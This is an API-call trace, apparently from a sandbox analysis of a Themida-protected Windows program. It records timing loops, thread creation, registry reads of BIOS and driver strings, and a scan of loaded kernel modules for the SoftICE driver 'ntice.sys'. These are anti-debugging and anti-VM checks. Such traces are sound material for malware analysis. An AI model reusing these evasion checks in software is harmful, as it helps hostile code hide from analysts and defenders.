	[0098.407] timeGetTime () returned 0x2af70
	[0098.407] timeGetTime () returned 0x2af70
	[0098.407] timeGetTime () returned 0x2af70
	[0098.407] timeGetTime () returned 0x2af70
	[0098.408] timeGetTime () returned 0x2af70
	[0098.408] timeGetTime () returned 0x2af70
	[0098.408] timeGetTime () returned 0x2af70
	[0098.408] timeGetTime () returned 0x2af70
	[0098.408] timeGetTime () returned 0x2af70
	[0098.408] timeGetTime () returned 0x2af70
	[0098.408] timeGetTime () returned 0x2af70
	[0098.408] timeGetTime () returned 0x2af70
	[0098.408] timeGetTime () returned 0x2af70
	[0098.408] timeGetTime () returned 0x2af70
	[0098.408] timeGetTime () returned 0x2af70
	[0098.408] timeGetTime () returned 0x2af70
	[0098.408] timeGetTime () returned 0x2af70
	[0098.408] timeGetTime () returned 0x2af70
	[0098.408] timeGetTime () returned 0x2af70
	[0098.408] timeGetTime () returned 0x2af70
	[0098.408] timeGetTime () returned 0x2af70
	[0098.408] timeGetTime () returned 0x2af70
	[0098.408] timeGetTime () returned 0x2af70
	[0098.408] timeGetTime () returned 0x2af70
	[0098.408] timeGetTime () returned 0x2af70
	[0098.408] timeGetTime () returned 0x2af70
	[0098.408] timeGetTime () returned 0x2af70
	[0098.409] timeGetTime () returned 0x2af70
	[0098.409] timeGetTime () returned 0x2af70
	[0098.409] timeGetTime () returned 0x2af70
	[0098.409] timeGetTime () returned 0x2af70
	[0098.409] timeGetTime () returned 0x2af70
	[0098.409] timeGetTime () returned 0x2af70
	[0098.409] timeGetTime () returned 0x2af70
	[0098.409] timeGetTime () returned 0x2af70
	[0098.409] timeGetTime () returned 0x2af70
	[0098.409] timeGetTime () returned 0x2af70
	[0098.409] timeGetTime () returned 0x2af70
	[0098.409] timeGetTime () returned 0x2af70
	[0098.409] timeGetTime () returned 0x2af70
	[0098.409] timeGetTime () returned 0x2af70
	[0098.409] timeGetTime () returned 0x2af70
	[0098.409] timeGetTime () returned 0x2af70
	[0098.409] timeGetTime () returned 0x2af70
	[0098.409] timeGetTime () returned 0x2af70
	[0098.409] timeGetTime () returned 0x2af70
	[0098.409] timeGetTime () returned 0x2af70
	[0098.409] timeGetTime () returned 0x2af70
	[0098.409] timeGetTime () returned 0x2af70
	[0098.409] timeGetTime () returned 0x2af70
	[0098.410] timeGetTime () returned 0x2af70
	[0098.410] timeGetTime () returned 0x2af70
	[0098.410] timeGetTime () returned 0x2af70
	[0098.410] timeGetTime () returned 0x2af70
	[0098.410] timeGetTime () returned 0x2af70
	[0098.410] timeGetTime () returned 0x2af70
	[0098.410] timeGetTime () returned 0x2af70
	[0098.410] timeGetTime () returned 0x2af70
	[0098.410] timeGetTime () returned 0x2af70
	[0098.410] timeGetTime () returned 0x2af70
	[0098.410] timeGetTime () returned 0x2af70
	[0098.410] timeGetTime () returned 0x2af70
	[0098.410] timeGetTime () returned 0x2af70
	[0098.410] timeGetTime () returned 0x2af70
	[0098.410] timeGetTime () returned 0x2af70
	[0098.410] timeGetTime () returned 0x2af70
	[0098.410] timeGetTime () returned 0x2af70
	[0098.410] timeGetTime () returned 0x2af70
	[0098.410] timeGetTime () returned 0x2af70
	[0098.410] timeGetTime () returned 0x2af70
	[0098.410] timeGetTime () returned 0x2af70
	[0098.410] timeGetTime () returned 0x2af70
	[0098.410] timeGetTime () returned 0x2af70
	[0098.411] timeGetTime () returned 0x2af70
	[0098.411] timeGetTime () returned 0x2af70
	[0098.411] timeGetTime () returned 0x2af70
	[0098.411] timeGetTime () returned 0x2af70
	[0098.411] timeGetTime () returned 0x2af70
	[0098.411] timeGetTime () returned 0x2af70
	[0098.411] timeGetTime () returned 0x2af70
	[0098.411] timeGetTime () returned 0x2af70
	[0098.411] timeGetTime () returned 0x2af70
	[0098.411] timeGetTime () returned 0x2af70
	[0098.411] timeGetTime () returned 0x2af70
	[0098.411] timeGetTime () returned 0x2af70
	[0098.411] timeGetTime () returned 0x2af70
	[0098.411] timeGetTime () returned 0x2af70
	[0098.411] timeGetTime () returned 0x2af70
	[0098.411] timeGetTime () returned 0x2af70
	[0098.411] timeGetTime () returned 0x2af70
	[0098.411] timeGetTime () returned 0x2af70
	[0098.411] timeGetTime () returned 0x2af70
	[0098.411] timeGetTime () returned 0x2af70
	[0098.411] timeGetTime () returned 0x2af70
	[0098.411] timeGetTime () returned 0x2af70
	[0098.412] timeGetTime () returned 0x2af70
	[0098.412] timeGetTime () returned 0x2af70
	[0098.412] timeGetTime () returned 0x2af70
	[0098.412] timeGetTime () returned 0x2af70
	[0098.412] timeGetTime () returned 0x2af70
	[0098.412] timeGetTime () returned 0x2af70
	[0098.412] timeGetTime () returned 0x2af70
	[0098.542] GetVersionExA (in: lpVersionInformation=0x1b56bd9*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1b56bd9*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0098.543] GetSystemDirectoryA (in: lpBuffer=0x19ae3d5, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0098.543] CloseHandle (hObject=0x0) returned 0
	[0098.543] CloseHandle (hObject=0x0) returned 0
	[0098.543] CloseHandle (hObject=0x0) returned 0
	[0098.543] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xf4
	[0098.543] CloseHandle (hObject=0xf4) returned 1
	[0098.546] OutputDebugStringA (lpOutputString="\r\n\n\n%s------------------------------------------------\n\r---          Themida Professional            ---\n\r---      (c)2012 Oreans Technologies         ---\n\r------------------------------------------------\r\n\n\n") 
	[0098.548] VirtualAlloc (lpAddress=0x0, dwSize=0x5cc, flAllocationType=0x1000, flProtect=0x4) returned 0x220000
	[0098.549] GetCurrentProcessId () returned 0xcd0
	[0098.549] LoadLibraryA (lpLibFileName="NTDLL") returned 0x77c40000
	[0098.549] GetProcAddress (hModule=0x77c40000, lpProcName="NtOpenThread") returned 0x77ca9d70
	[0098.549] LoadLibraryA (lpLibFileName="winmm.dll") returned 0x74b70000
	[0098.549] GetProcAddress (hModule=0x74b70000, lpProcName="timeGetTime") returned 0x74b73a10
	[0098.549] timeGetTime () returned 0x2affc
	[0098.549] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x19ae52b, lpParameter=0x1b6ef90, dwCreationFlags=0x0, lpThreadId=0x19b0691 | out: lpThreadId=0x19b0691*=0xca0) returned 0xf8
	[0098.550] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x19ae52b, lpParameter=0x1b6f9a2, dwCreationFlags=0x0, lpThreadId=0x19b0691 | out: lpThreadId=0x19b0691*=0xc9c) returned 0xfc
	[0098.550] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x19ae52b, lpParameter=0x1b70b4f, dwCreationFlags=0x0, lpThreadId=0x19b0691 | out: lpThreadId=0x19b0691*=0xc88) returned 0x100
	[0098.550] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x19ae52b, lpParameter=0x1b718b9, dwCreationFlags=0x0, lpThreadId=0x19b0691 | out: lpThreadId=0x19b0691*=0xc94) returned 0x104
	[0098.550] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x19ae52b, lpParameter=0x1b72343, dwCreationFlags=0x0, lpThreadId=0x19b0691 | out: lpThreadId=0x19b0691*=0xc90) returned 0x108
	[0098.550] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x19ae52b, lpParameter=0x1b742cc, dwCreationFlags=0x0, lpThreadId=0x19b0691 | out: lpThreadId=0x19b0691*=0xc8c) returned 0x10c
	[0098.551] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x19ae52b, lpParameter=0x1b74ce2, dwCreationFlags=0x0, lpThreadId=0x19b0691 | out: lpThreadId=0x19b0691*=0xc54) returned 0x110
	[0098.551] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x19ae52b, lpParameter=0x1b75898, dwCreationFlags=0x0, lpThreadId=0x19b0691 | out: lpThreadId=0x19b0691*=0xc84) returned 0x114
	[0098.551] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x118
	[0098.551] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x11c
	[0098.551] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x120
	[0098.551] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x124
	[0098.551] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x128
	[0098.552] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x12c
	[0098.552] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x130
	[0098.552] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x134
	[0098.552] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x138
	[0098.552] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x13c
	[0098.552] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x140
	[0098.552] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x144
	[0098.552] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x148
	[0098.552] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x14c
	[0098.552] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x150
	[0098.552] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x154
	[0098.552] timeGetTime () returned 0x2affc
	[0098.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x19ae52b, lpParameter=0x1b772f2, dwCreationFlags=0x0, lpThreadId=0x19b0691 | out: lpThreadId=0x19b0691*=0xc48) returned 0x158
	[0098.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x19ae52b, lpParameter=0x1b78397, dwCreationFlags=0x0, lpThreadId=0x19b0691 | out: lpThreadId=0x19b0691*=0xb54) returned 0x15c
	[0098.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x19ae52b, lpParameter=0x1b7941b, dwCreationFlags=0x0, lpThreadId=0x19b0691 | out: lpThreadId=0x19b0691*=0xc3c) returned 0x160
	[0098.553] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x19ae52b, lpParameter=0x1b7a352, dwCreationFlags=0x0, lpThreadId=0x19b0691 | out: lpThreadId=0x19b0691*=0xc40) returned 0x164
	[0098.553] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x19ae52b, lpParameter=0x1b7b480, dwCreationFlags=0x0, lpThreadId=0x19b0691 | out: lpThreadId=0x19b0691*=0xd6c) returned 0x168
	[0098.553] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x19ae52b, lpParameter=0x1b7c4f8, dwCreationFlags=0x0, lpThreadId=0x19b0691 | out: lpThreadId=0x19b0691*=0xd78) returned 0x16c
	[0098.554] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x19ae52b, lpParameter=0x1b7d519, dwCreationFlags=0x0, lpThreadId=0x19b0691 | out: lpThreadId=0x19b0691*=0xc44) returned 0x170
	[0098.554] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x19ae52b, lpParameter=0x1b7e5d6, dwCreationFlags=0x0, lpThreadId=0x19b0691 | out: lpThreadId=0x19b0691*=0xca4) returned 0x174
	[0098.554] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x19ae52b, lpParameter=0x1b80c15, dwCreationFlags=0x0, lpThreadId=0x19b0691 | out: lpThreadId=0x19b0691*=0x438) returned 0x178
	[0098.555] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x19ae52b, lpParameter=0x1b81a8f, dwCreationFlags=0x0, lpThreadId=0x19b0691 | out: lpThreadId=0x19b0691*=0xb0) returned 0x17c
	[0098.555] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x19ae52b, lpParameter=0x1b82b0c, dwCreationFlags=0x0, lpThreadId=0x19b0691 | out: lpThreadId=0x19b0691*=0xcc0) returned 0x180
	[0098.555] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x19ae52b, lpParameter=0x1b83bc0, dwCreationFlags=0x0, lpThreadId=0x19b0691 | out: lpThreadId=0x19b0691*=0xcbc) returned 0x184
	[0098.555] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x19ae52b, lpParameter=0x1b84bc4, dwCreationFlags=0x0, lpThreadId=0x19b0691 | out: lpThreadId=0x19b0691*=0xcac) returned 0x188
	[0098.556] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x19ae52b, lpParameter=0x1b85d0f, dwCreationFlags=0x0, lpThreadId=0x19b0691 | out: lpThreadId=0x19b0691*=0xcb4) returned 0x18c
	[0098.556] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x19ae52b, lpParameter=0x1b86d3f, dwCreationFlags=0x0, lpThreadId=0x19b0691 | out: lpThreadId=0x19b0691*=0xcb8) returned 0x190
	[0098.556] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x19ae52b, lpParameter=0x1b87cdc, dwCreationFlags=0x0, lpThreadId=0x19b0691 | out: lpThreadId=0x19b0691*=0xcc8) returned 0x194
	[0098.558] SetEvent (hEvent=0x12c) returned 1
	[0098.558] Sleep (dwMilliseconds=0x0) 
	[0098.562] Sleep (dwMilliseconds=0x0) 
	[0098.562] SetEvent (hEvent=0x128) returned 1
	[0098.562] Sleep (dwMilliseconds=0x0) 
	[0098.564] SetEvent (hEvent=0x118) returned 1
	[0098.564] Sleep (dwMilliseconds=0x0) 
	[0098.565] SetEvent (hEvent=0x140) returned 1
	[0098.565] Sleep (dwMilliseconds=0x0) 
	[0098.566] SetEvent (hEvent=0x124) returned 1
	[0098.567] Sleep (dwMilliseconds=0x0) 
	[0098.568] GetForegroundWindow () returned 0x20206
	[0098.568] GetWindowTextA (in: hWnd=0x20206, lpString=0x1b8e4d1, nMaxCount=100 | out: lpString="Opponent Adjustment Textbook") returned 28
	[0098.569] SetEvent (hEvent=0x12c) returned 1
	[0098.569] Sleep (dwMilliseconds=0x0) 
	[0098.570] SetEvent (hEvent=0x154) returned 1
	[0098.570] Sleep (dwMilliseconds=0x0) 
	[0098.571] SetEvent (hEvent=0x138) returned 1
	[0098.571] Sleep (dwMilliseconds=0x0) 
	[0098.572] SetEvent (hEvent=0x140) returned 1
	[0098.572] Sleep (dwMilliseconds=0x0) 
	[0098.574] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000", phkResult=0x1b98c04 | out: phkResult=0x1b98c04*=0x198) returned 0x0
	[0098.575] RegQueryValueExA (in: hKey=0x198, lpValueName="DriverDesc", lpReserved=0x0, lpType=0x0, lpData=0x1b98c08, lpcbData=0x1b98e08*=0x200 | out: lpType=0x0, lpData=0x1b98c08*=0x4d, lpcbData=0x1b98e08*=0x20) returned 0x0
	[0098.575] RegCloseKey (hKey=0x198) returned 0x0
	[0098.575] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Hardware\\description\\System", phkResult=0x1b98c04 | out: phkResult=0x1b98c04*=0x198) returned 0x0
	[0098.575] RegQueryValueExA (in: hKey=0x198, lpValueName="SystemBiosVersion", lpReserved=0x0, lpType=0x0, lpData=0x1b98c08, lpcbData=0x1b98e08*=0x200 | out: lpType=0x0, lpData=0x1b98c08*=0x4c, lpcbData=0x1b98e08*=0x4a) returned 0x0
	[0098.575] RegQueryValueExA (in: hKey=0x198, lpValueName="VideoBiosVersion", lpReserved=0x0, lpType=0x0, lpData=0x1b98c08, lpcbData=0x1b98e08*=0x200 | out: lpType=0x0, lpData=0x1b98c08*=0x4c, lpcbData=0x1b98e08*=0x200) returned 0x2
	[0098.575] RegQueryValueExA (in: hKey=0x198, lpValueName="SystemBiosVersion", lpReserved=0x0, lpType=0x0, lpData=0x1b98c08, lpcbData=0x1b98e08*=0x200 | out: lpType=0x0, lpData=0x1b98c08*=0x4c, lpcbData=0x1b98e08*=0x4a) returned 0x0
	[0098.575] RegCloseKey (hKey=0x198) returned 0x0
	[0098.576] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3d0000
	[0098.577] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000
	[0098.577] GetProcAddress (hModule=0x77c40000, lpProcName="NtQuerySystemInformation") returned 0x77ca8f40
	[0098.577] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x3d0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x3d0000, ResultLength=0x0) returned 0x0
	[0098.578] lstrcmpiA (lpString1="ntice.sys", lpString2="ntoskrnl.exe") returned -1
	[0098.580] lstrcmpiA (lpString1="ntice.sys", lpString2="hal.dll") returned 1
	[0098.581] lstrcmpiA (lpString1="ntice.sys", lpString2="kd.dll") returned 1
	[0098.581] lstrcmpiA (lpString1="ntice.sys", lpString2="mcupdate_GenuineIntel.dll") returned 1
	[0098.582] lstrcmpiA (lpString1="ntice.sys", lpString2="werkernel.sys") returned -1
	[0098.582] lstrcmpiA (lpString1="ntice.sys", lpString2="CLFS.SYS") returned 1
	[0098.583] lstrcmpiA (lpString1="ntice.sys", lpString2="tm.sys") returned -1
	[0098.583] lstrcmpiA (lpString1="ntice.sys", lpString2="PSHED.dll") returned -1
	[0098.583] lstrcmpiA (lpString1="ntice.sys", lpString2="BOOTVID.dll") returned 1
	[0098.583] lstrcmpiA (lpString1="ntice.sys", lpString2="cmimcext.sys") returned 1
	[0098.583] lstrcmpiA (lpString1="ntice.sys", lpString2="ntosext.sys") returned -1
	[0098.583] lstrcmpiA (lpString1="ntice.sys", lpString2="CI.dll") returned 1
	[0098.583] lstrcmpiA (lpString1="ntice.sys", lpString2="msrpc.sys") returned 1
	[0098.583] lstrcmpiA (lpString1="ntice.sys", lpString2="FLTMGR.SYS") returned 1
	[0098.583] lstrcmpiA (lpString1="ntice.sys", lpString2="ksecdd.sys") returned 1
	[0098.583] lstrcmpiA (lpString1="ntice.sys", lpString2="clipsp.sys") returned 1
	[0098.583] lstrcmpiA (lpString1="ntice.sys", lpString2="Wdf01000.sys") returned -1
	[0098.583] lstrcmpiA (lpString1="ntice.sys", lpString2="WDFLDR.SYS") returned -1
	[0098.583] lstrcmpiA (lpString1="ntice.sys", lpString2="acpiex.sys") returned 1
	[0098.583] lstrcmpiA (lpString1="ntice.sys", lpString2="WppRecorder.sys") returned -1
	[0098.583] lstrcmpiA (lpString1="ntice.sys", lpString2="cng.sys") returned 1
	[0098.583] lstrcmpiA (lpString1="ntice.sys", lpString2="ACPI.sys") returned 1
	[0098.583] lstrcmpiA (lpString1="ntice.sys", lpString2="WMILIB.SYS") returned -1
	[0098.583] lstrcmpiA (lpString1="ntice.sys", lpString2="WindowsTrustedRT.sys") returned -1
	[0098.583] lstrcmpiA (lpString1="ntice.sys", lpString2="WindowsTrustedRTProxy.sys") returned -1
	[0098.583] lstrcmpiA (lpString1="ntice.sys", lpString2="pcw.sys") returned -1
	[0098.583] lstrcmpiA (lpString1="ntice.sys", lpString2="msisadrv.sys") returned 1
	[0098.583] lstrcmpiA (lpString1="ntice.sys", lpString2="pci.sys") returned -1
	[0098.583] lstrcmpiA (lpString1="ntice.sys", lpString2="vdrvroot.sys") returned -1
	[0098.583] lstrcmpiA (lpString1="ntice.sys", lpString2="pdc.sys") returned -1
	[0098.583] lstrcmpiA (lpString1="ntice.sys", lpString2="CEA.sys") returned 1
	[0098.583] lstrcmpiA (lpString1="ntice.sys", lpString2="partmgr.sys") returned -1
	[0098.583] lstrcmpiA (lpString1="ntice.sys", lpString2="spaceport.sys") returned -1
	[0098.583] lstrcmpiA (lpString1="ntice.sys", lpString2="volmgr.sys") returned -1
	[0098.584] lstrcmpiA (lpString1="ntice.sys", lpString2="volmgrx.sys") returned -1
	[0098.584] lstrcmpiA (lpString1="ntice.sys", lpString2="mountmgr.sys") returned 1
	[0098.584] lstrcmpiA (lpString1="ntice.sys", lpString2="storahci.sys") returned -1
	[0098.584] lstrcmpiA (lpString1="ntice.sys", lpString2="storport.sys") returned -1
	[0098.584] lstrcmpiA (lpString1="ntice.sys", lpString2="EhStorClass.sys") returned 1
	[0098.584] lstrcmpiA (lpString1="ntice.sys", lpString2="fileinfo.sys") returned 1
	[0098.584] lstrcmpiA (lpString1="ntice.sys", lpString2="Wof.sys") returned -1
	[0098.584] lstrcmpiA (lpString1="ntice.sys", lpString2="WdFilter.sys") returned -1
	[0098.584] lstrcmpiA (lpString1="ntice.sys", lpString2="NTFS.sys") returned 1
	[0098.584] lstrcmpiA (lpString1="ntice.sys", lpString2="Fs_Rec.sys") returned 1
	[0098.584] lstrcmpiA (lpString1="ntice.sys", lpString2="ndis.sys") returned 1
	[0098.584] lstrcmpiA (lpString1="ntice.sys", lpString2="NETIO.SYS") returned 1
	[0098.584] lstrcmpiA (lpString1="ntice.sys", lpString2="ksecpkg.sys") returned 1
	[0098.584] lstrcmpiA (lpString1="ntice.sys", lpString2="tcpip.sys") returned -1
	[0098.584] lstrcmpiA (lpString1="ntice.sys", lpString2="fwpkclnt.sys") returned 1
	[0098.584] lstrcmpiA (lpString1="ntice.sys", lpString2="wfplwfs.sys") returned -1
	[0098.584] lstrcmpiA (lpString1="ntice.sys", lpString2="fvevol.sys") returned 1
	[0098.584] lstrcmpiA (lpString1="ntice.sys", lpString2="volsnap.sys") returned -1
	[0098.584] lstrcmpiA (lpString1="ntice.sys", lpString2="rdyboost.sys") returned -1
	[0098.584] lstrcmpiA (lpString1="ntice.sys", lpString2="mup.sys") returned 1
	[0098.584] lstrcmpiA (lpString1="ntice.sys", lpString2="disk.sys") returned 1
	[0098.584] lstrcmpiA (lpString1="ntice.sys", lpString2="CLASSPNP.SYS") returned 1
	[0098.584] lstrcmpiA (lpString1="ntice.sys", lpString2="crashdmp.sys") returned 1
	[0098.584] lstrcmpiA (lpString1="ntice.sys", lpString2="filecrypt.sys") returned 1
	[0098.584] lstrcmpiA (lpString1="ntice.sys", lpString2="tbs.sys") returned -1
	[0098.584] lstrcmpiA (lpString1="ntice.sys", lpString2="Null.SYS") returned -1
	[0098.584] lstrcmpiA (lpString1="ntice.sys", lpString2="Beep.SYS") returned 1
	[0098.584] lstrcmpiA (lpString1="ntice.sys", lpString2="BasicDisplay.sys") returned 1
	[0098.584] lstrcmpiA (lpString1="ntice.sys", lpString2="watchdog.sys") returned -1
	[0098.585] lstrcmpiA (lpString1="ntice.sys", lpString2="dxgkrnl.sys") returned 1
	[0098.585] lstrcmpiA (lpString1="ntice.sys", lpString2="BasicRender.sys") returned 1
	[0098.585] lstrcmpiA (lpString1="ntice.sys", lpString2="Npfs.SYS") returned 1
	[0098.585] lstrcmpiA (lpString1="ntice.sys", lpString2="Msfs.SYS") returned 1
	[0098.585] lstrcmpiA (lpString1="ntice.sys", lpString2="tdx.sys") returned -1
	[0098.585] lstrcmpiA (lpString1="ntice.sys", lpString2="TDI.SYS") returned -1
	[0098.585] lstrcmpiA (lpString1="ntice.sys", lpString2="netbt.sys") returned 1
	[0098.585] lstrcmpiA (lpString1="ntice.sys", lpString2="afd.sys") returned 1
	[0098.585] lstrcmpiA (lpString1="ntice.sys", lpString2="vwififlt.sys") returned -1
	[0098.585] lstrcmpiA (lpString1="ntice.sys", lpString2="pacer.sys") returned -1
	[0098.585] lstrcmpiA (lpString1="ntice.sys", lpString2="netbios.sys") returned 1
	[0098.585] lstrcmpiA (lpString1="ntice.sys", lpString2="rdbss.sys") returned -1
	[0098.585] lstrcmpiA (lpString1="ntice.sys", lpString2="csc.sys") returned 1
	[0098.585] lstrcmpiA (lpString1="ntice.sys", lpString2="nsiproxy.sys") returned 1
	[0098.585] lstrcmpiA (lpString1="ntice.sys", lpString2="npsvctrig.sys") returned 1
	[0098.585] lstrcmpiA (lpString1="ntice.sys", lpString2="mssmbios.sys") returned 1
	[0098.585] lstrcmpiA (lpString1="ntice.sys", lpString2="gpuenergydrv.sys") returned 1
	[0098.585] lstrcmpiA (lpString1="ntice.sys", lpString2="dfsc.sys") returned 1
	[0098.585] lstrcmpiA (lpString1="ntice.sys", lpString2="ahcache.sys") returned 1
	[0098.585] lstrcmpiA (lpString1="ntice.sys", lpString2="CompositeBus.sys") returned 1
	[0098.585] lstrcmpiA (lpString1="ntice.sys", lpString2="kdnic.sys") returned 1
	[0098.585] lstrcmpiA (lpString1="ntice.sys", lpString2="umbus.sys") returned -1
	[0098.585] lstrcmpiA (lpString1="ntice.sys", lpString2="HDAudBus.sys") returned 1
	[0098.585] lstrcmpiA (lpString1="ntice.sys", lpString2="portcls.sys") returned -1
	[0098.585] lstrcmpiA (lpString1="ntice.sys", lpString2="drmk.sys") returned 1
	[0098.585] lstrcmpiA (lpString1="ntice.sys", lpString2="ks.sys") returned 1
	[0098.585] lstrcmpiA (lpString1="ntice.sys", lpString2="usbehci.sys") returned -1
	[0098.585] lstrcmpiA (lpString1="ntice.sys", lpString2="USBPORT.SYS") returned -1
	[0098.586] lstrcmpiA (lpString1="ntice.sys", lpString2="NdisVirtualBus.sys") returned 1
	[0098.586] lstrcmpiA (lpString1="ntice.sys", lpString2="swenum.sys") returned -1
	[0098.586] lstrcmpiA (lpString1="ntice.sys", lpString2="rdpbus.sys") returned -1
	[0098.586] lstrcmpiA (lpString1="ntice.sys", lpString2="usbhub.sys") returned -1
	[0098.586] lstrcmpiA (lpString1="ntice.sys", lpString2="USBD.SYS") returned -1
	[0098.586] lstrcmpiA (lpString1="ntice.sys", lpString2="HdAudio.sys") returned 1
	[0098.586] lstrcmpiA (lpString1="ntice.sys", lpString2="ksthunk.sys") returned 1
	[0098.586] lstrcmpiA (lpString1="ntice.sys", lpString2="hidusb.sys") returned 1
	[0098.586] lstrcmpiA (lpString1="ntice.sys", lpString2="HIDCLASS.SYS") returned 1
	[0098.586] lstrcmpiA (lpString1="ntice.sys", lpString2="HIDPARSE.SYS") returned 1
	[0098.586] lstrcmpiA (lpString1="ntice.sys", lpString2="kbdhid.sys") returned 1
	[0098.586] lstrcmpiA (lpString1="ntice.sys", lpString2="kbdclass.sys") returned 1
	[0098.586] lstrcmpiA (lpString1="ntice.sys", lpString2="Razerlow.sys") returned -1
	[0098.586] lstrcmpiA (lpString1="ntice.sys", lpString2="mouhid.sys") returned 1
	[0098.586] lstrcmpiA (lpString1="ntice.sys", lpString2="mouclass.sys") returned 1
	[0098.586] lstrcmpiA (lpString1="ntice.sys", lpString2="dump_diskdump.sys") returned 1
	[0098.586] lstrcmpiA (lpString1="ntice.sys", lpString2="dump_storahci.sys") returned 1
	[0098.586] lstrcmpiA (lpString1="ntice.sys", lpString2="dump_dumpfve.sys") returned 1
	[0098.586] lstrcmpiA (lpString1="ntice.sys", lpString2="win32k.sys") returned -1
	[0098.586] lstrcmpiA (lpString1="ntice.sys", lpString2="win32kfull.sys") returned -1
	[0098.586] lstrcmpiA (lpString1="ntice.sys", lpString2="win32kbase.sys") returned -1
	[0098.586] lstrcmpiA (lpString1="ntice.sys", lpString2="monitor.sys") returned 1
	[0098.586] lstrcmpiA (lpString1="ntice.sys", lpString2="dxgmms2.sys") returned 1
	[0098.586] lstrcmpiA (lpString1="ntice.sys", lpString2="TSDDD.dll") returned -1
	[0098.586] lstrcmpiA (lpString1="ntice.sys", lpString2="cdd.dll") returned 1
	[0098.586] lstrcmpiA (lpString1="ntice.sys", lpString2="luafv.sys") returned 1
	[0098.586] lstrcmpiA (lpString1="ntice.sys", lpString2="storqosflt.sys") returned -1
	[0098.586] lstrcmpiA (lpString1="ntice.sys", lpString2="lltdio.sys") returned 1
	[0098.587] lstrcmpiA (lpString1="ntice.sys", lpString2="rspndr.sys") returned -1
	[0098.587] lstrcmpiA (lpString1="ntice.sys", lpString2="mslldp.sys") returned 1
	[0098.587] lstrcmpiA (lpString1="ntice.sys", lpString2="HTTP.sys") returned 1
	[0098.587] lstrcmpiA (lpString1="ntice.sys", lpString2="WudfPf.sys") returned -1
	[0098.587] lstrcmpiA (lpString1="ntice.sys", lpString2="bowser.sys") returned 1
	[0098.587] lstrcmpiA (lpString1="ntice.sys", lpString2="mrxsmb.sys") returned 1
	[0098.587] lstrcmpiA (lpString1="ntice.sys", lpString2="mrxsmb20.sys") returned 1
	[0098.587] lstrcmpiA (lpString1="ntice.sys", lpString2="mpsdrv.sys") returned 1
	[0098.587] lstrcmpiA (lpString1="ntice.sys", lpString2="srvnet.sys") returned -1
